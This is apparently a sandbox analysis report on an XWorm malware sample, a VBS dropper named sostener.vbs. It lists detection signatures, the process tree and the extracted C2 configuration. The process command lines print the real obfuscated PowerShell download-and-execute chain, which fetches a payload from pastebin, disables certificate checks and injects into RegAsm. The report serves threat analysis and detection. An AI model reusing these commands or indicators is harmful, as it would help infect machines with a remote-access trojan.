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Windows
Analysis Report
sostener.vbs
Overview
General Information
Detection
XWorm
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Powershell download and execute
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript called in batch mode (surpress errors)
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Startup Folder File Write
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 5604 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\soste ner.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 1020 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ LoPuennnTe s = 'J?Bh? G0?cwBo?GU ?I??9?C??J w?w?DM?Jw? 7?CQ?dgB2? GU?cgBy?C? ?PQ?g?Cc?J QBw?Ho?QQB j?E8?ZwBJ? G4?TQBy?CU ?Jw?7?Fs?U wB5?HM?d?B l?G0?LgBO? GU?d??u?FM ?ZQBy?HY?a QBj?GU?U?B v?Gk?bgB0? E0?YQBu?GE ?ZwBl?HI?X Q?6?Do?UwB l?HI?dgBl? HI?QwBl?HI ?d?Bp?GY?a QBj?GE?d?B l?FY?YQBs? Gk?Z?Bh?HQ ?aQBv?G4?Q wBh?Gw?b?B i?GE?YwBr? C??PQ?g?Hs ?J?B0?HI?d QBl?H0?OwB b?FM?eQBz? HQ?ZQBt?C4 ?TgBl?HQ?L gBT?GU?cgB 2?Gk?YwBl? F??bwBp?G4 ?d?BN?GE?b gBh?Gc?ZQB y?F0?Og?6? FM?ZQBj?HU ?cgBp?HQ?e QBQ?HI?bwB 0?G8?YwBv? Gw?I??9?C? ?WwBT?Hk?c wB0?GU?bQ? u?E4?ZQB0? C4?UwBl?GM ?dQBy?Gk?d ?B5?F??cgB v?HQ?bwBj? G8?b?BU?Hk ?c?Bl?F0?O g?6?FQ?b?B z?DE?Mg?7? Fs?QgB5?HQ ?ZQBb?F0?X Q?g?CQ?a?B 6?GY?YgBz? C??PQ?g?Fs ?cwB5?HM?d ?Bl?G0?LgB D?G8?bgB2? GU?cgB0?F0 ?Og?6?EY?c gBv?G0?QgB h?HM?ZQ?2? DQ?UwB0?HI ?aQBu?Gc?K ??g?Cg?TgB l?Hc?LQBP? GI?agBl?GM ?d??g?E4?Z QB0?C4?VwB l?GI?QwBs? Gk?ZQBu?HQ ?KQ?u?EQ?b wB3?G4?b?B v?GE?Z?BT? HQ?cgBp?G4 ?Zw?o?C??K ?BO?GU?dw? t?E8?YgBq? GU?YwB0?C? ?TgBl?HQ?L gBX?GU?YgB D?Gw?aQBl? G4?d??p?C4 ?R?Bv?Hc?b gBs?G8?YQB k?FM?d?By? Gk?bgBn?Cg ?JwBo?HQ?d ?Bw?Do?Lw? v?H??YQBz? HQ?ZQBi?Gk ?bg?u?GM?b wBt?C8?cgB h?Hc?LwBW? Dk?eQ?1?FE ?NQB2?HY?J w?p?C??KQ? g?Ck?OwBb? HM?eQBz?HQ ?ZQBt?C4?Q QBw?H??R?B v?G0?YQBp? G4?XQ?6?Do ?QwB1?HI?c gBl?G4?d?B E?G8?bQBh? Gk?bg?u?Ew ?bwBh?GQ?K ??k?Gg?egB m?GI?cw?p? C4?RwBl?HQ ?V?B5?H??Z Q?o?Cc?V?B l?Gg?dQBs? GM?a?Bl?HM ?W?B4?Fg?e ?B4?C4?QwB s?GE?cwBz? DE?Jw?p?C4 ?RwBl?HQ?T QBl?HQ?a?B v?GQ?K??n? E0?cwBx?EI ?SQBi?Fk?J w?p?C4?SQB u?HY?bwBr? GU?K??k?G4 ?dQBs?Gw?L ??g?Fs?bwB i?Go?ZQBj? HQ?WwBd?F0 ?I??o?Cc?Y g?3?FM?SgB i?Dc?R?Bj? C8?dwBh?HI ?LwBt?G8?Y w?u?G4?aQB i?GU?d?Bz? GE?c??v?C8 ?OgBz?H??d ?B0?Gg?Jw? g?Cw?I??k? HY?dgBl?HI ?cg?g?Cw?I ??n?F8?XwB f?Hc?aQBu? F8?XwBf?F8 ?XwBf?F8?X wBf?F8?XwB f?F8?XwBf? F8?XwBf?F8 ?XwBf?F8?X wBf?F8?XwB f?F8?XwBf? F8?XwBf?F8 ?XwBf?F8?X wBf?F8?LQ? t?C0?LQ?t? C0?LQ?n?Cw ?I??k?GE?b QBz?Gg?ZQ? s?C??Jw?x? Cc?L??g?Cc ?UgBv?GQ?Y Q?n?C??KQ? p?Ds?';$KB yHL = [sys tem.Text.E ncoding]:: Unicode.Ge tString( [ system.Con vert]::Fro mBase64Str ing( $LoPu ennnTes.re place('?', 'A') ) );$ KByHL = $K ByHL.repla ce('%pzAcO gInMr%', ' C:\Users\u ser\Deskto p\sostener .vbs');pow ershell $K ByHL; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7116 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6400 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$amshe = '03';$vver r = 'C:\Us ers\user\D esktop\sos tener.vbs' ;[System.N et.Service PointManag er]::Serve rCertifica teValidati onCallback = {$true} ;[System.N et.Service PointManag er]::Secur ityProtoco l = [Syste m.Net.Secu rityProtoc olType]::T ls12;[Byte []] $hzfbs = [system .Convert]: :FromBase6 4String( ( New-Object Net.WebCl ient).Down loadString ( (New-Obj ect Net.We bClient).D ownloadStr ing('http: //pastebin .com/raw/V 9y5Q5vv') ) );[syste m.AppDomai n]::Curren tDomain.Lo ad($hzfbs) .GetType(' TehulchesX xXxx.Class 1').GetMet hod('MsqBI bY').Invok e($null, [ object[]] ('b7SJb7Dc /war/moc.n ibetsap//: sptth' , $ vverr , '_ __win_____ __________ __________ __________ _____----- --', $amsh e, '1', 'R oda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 1088 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ Desktop\so stener.vbs ' -Destina tion 'C:\U sers\user\ AppData\Lo cal\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9) - RegAsm.exe (PID: 3652 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 6128 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
- powershell.exe (PID: 2316 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le hidden -command w script.exe //b //nol ogo 'C:\Us ers\user\A ppData\Loc al\Temp\so stener.vbs ' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6336 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 6592 cmdline:
"C:\Window s\system32 \wscript.e xe" //b // nologo C:\ Users\user \AppData\L ocal\Temp\ sostener.v bs MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 5368 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ LoPuennnTe s = 'J?Bh? G0?cwBo?GU ?I??9?C??J w?w?DM?Jw? 7?CQ?dgB2? GU?cgBy?C? ?PQ?g?Cc?J QBw?Ho?QQB j?E8?ZwBJ? G4?TQBy?CU ?Jw?7?Fs?U wB5?HM?d?B l?G0?LgBO? GU?d??u?FM ?ZQBy?HY?a QBj?GU?U?B v?Gk?bgB0? E0?YQBu?GE ?ZwBl?HI?X Q?6?Do?UwB l?HI?dgBl? HI?QwBl?HI ?d?Bp?GY?a QBj?GE?d?B l?FY?YQBs? Gk?Z?Bh?HQ ?aQBv?G4?Q wBh?Gw?b?B i?GE?YwBr? C??PQ?g?Hs ?J?B0?HI?d QBl?H0?OwB b?FM?eQBz? HQ?ZQBt?C4 ?TgBl?HQ?L gBT?GU?cgB 2?Gk?YwBl? F??bwBp?G4 ?d?BN?GE?b gBh?Gc?ZQB y?F0?Og?6? FM?ZQBj?HU ?cgBp?HQ?e QBQ?HI?bwB 0?G8?YwBv? Gw?I??9?C? ?WwBT?Hk?c wB0?GU?bQ? u?E4?ZQB0? C4?UwBl?GM ?dQBy?Gk?d ?B5?F??cgB v?HQ?bwBj? G8?b?BU?Hk ?c?Bl?F0?O g?6?FQ?b?B z?DE?Mg?7? Fs?QgB5?HQ ?ZQBb?F0?X Q?g?CQ?a?B 6?GY?YgBz? C??PQ?g?Fs ?cwB5?HM?d ?Bl?G0?LgB D?G8?bgB2? GU?cgB0?F0 ?Og?6?EY?c gBv?G0?QgB h?HM?ZQ?2? DQ?UwB0?HI ?aQBu?Gc?K ??g?Cg?TgB l?Hc?LQBP? GI?agBl?GM ?d??g?E4?Z QB0?C4?VwB l?GI?QwBs? Gk?ZQBu?HQ ?KQ?u?EQ?b wB3?G4?b?B v?GE?Z?BT? HQ?cgBp?G4 ?Zw?o?C??K ?BO?GU?dw? t?E8?YgBq? GU?YwB0?C? ?TgBl?HQ?L gBX?GU?YgB D?Gw?aQBl? G4?d??p?C4 ?R?Bv?Hc?b gBs?G8?YQB k?FM?d?By? Gk?bgBn?Cg ?JwBo?HQ?d ?Bw?Do?Lw? v?H??YQBz? HQ?ZQBi?Gk ?bg?u?GM?b wBt?C8?cgB h?Hc?LwBW? Dk?eQ?1?FE ?NQB2?HY?J w?p?C??KQ? g?Ck?OwBb? HM?eQBz?HQ ?ZQBt?C4?Q QBw?H??R?B v?G0?YQBp? G4?XQ?6?Do ?QwB1?HI?c gBl?G4?d?B E?G8?bQBh? Gk?bg?u?Ew ?bwBh?GQ?K ??k?Gg?egB m?GI?cw?p? C4?RwBl?HQ ?V?B5?H??Z Q?o?Cc?V?B l?Gg?dQBs? GM?a?Bl?HM ?W?B4?Fg?e ?B4?C4?QwB s?GE?cwBz? DE?Jw?p?C4 ?RwBl?HQ?T QBl?HQ?a?B v?GQ?K??n? E0?cwBx?EI ?SQBi?Fk?J w?p?C4?SQB u?HY?bwBr? GU?K??k?G4 ?dQBs?Gw?L ??g?Fs?bwB i?Go?ZQBj? HQ?WwBd?F0 ?I??o?Cc?Y g?3?FM?SgB i?Dc?R?Bj? C8?dwBh?HI ?LwBt?G8?Y w?u?G4?aQB i?GU?d?Bz? GE?c??v?C8 ?OgBz?H??d ?B0?Gg?Jw? g?Cw?I??k? HY?dgBl?HI ?cg?g?Cw?I ??n?F8?XwB f?Hc?aQBu? F8?XwBf?F8 ?XwBf?F8?X wBf?F8?XwB f?F8?XwBf? F8?XwBf?F8 ?XwBf?F8?X wBf?F8?XwB f?F8?XwBf? F8?XwBf?F8 ?XwBf?F8?X wBf?F8?LQ? t?C0?LQ?t? C0?LQ?n?Cw ?I??k?GE?b QBz?Gg?ZQ? s?C??Jw?x? Cc?L??g?Cc ?UgBv?GQ?Y Q?n?C??KQ? p?Ds?';$KB yHL = [sys tem.Text.E ncoding]:: Unicode.Ge tString( [ system.Con vert]::Fro mBase64Str ing( $LoPu ennnTes.re place('?', 'A') ) );$ KByHL = $K ByHL.repla ce('%pzAcO gInMr%', ' C:\Users\u ser\AppDat a\Local\Te mp\sostene r.vbs');po wershell $ KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6148 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7096 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$amshe = '03';$vver r = 'C:\Us ers\user\A ppData\Loc al\Temp\so stener.vbs ';[System. Net.Servic ePointMana ger]::Serv erCertific ateValidat ionCallbac k = {$true };[System. Net.Servic ePointMana ger]::Secu rityProtoc ol = [Syst em.Net.Sec urityProto colType]:: Tls12;[Byt e[]] $hzfb s = [syste m.Convert] ::FromBase 64String( (New-Objec t Net.WebC lient).Dow nloadStrin g( (New-Ob ject Net.W ebClient). DownloadSt ring('http ://pastebi n.com/raw/ V9y5Q5vv') ) );[syst em.AppDoma in]::Curre ntDomain.L oad($hzfbs ).GetType( 'Tehulches XxXxx.Clas s1').GetMe thod('MsqB IbY').Invo ke($null, [object[]] ('b7SJb7D c/war/moc. nibetsap// :sptth' , $vverr , ' ___win____ __________ __________ __________ ______---- ---', $ams he, '1', ' Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7208 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - RegAsm.exe (PID: 7308 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
XWorm | Malware with wide range of capabilities ranging from RAT to ransomware. | No Attribution |
{"C2 url": ["toskaadmx.duckdns.org"], "Port": "7000", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
Click to see the 19 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL | Detects executables (downloaders) containing reversed URLs to raw contents of a paste | ditekSHen |
| |
MALWARE_Win_DLAgent09 | Detects known downloader agent | ditekSHen |
| |
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
Click to see the 24 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |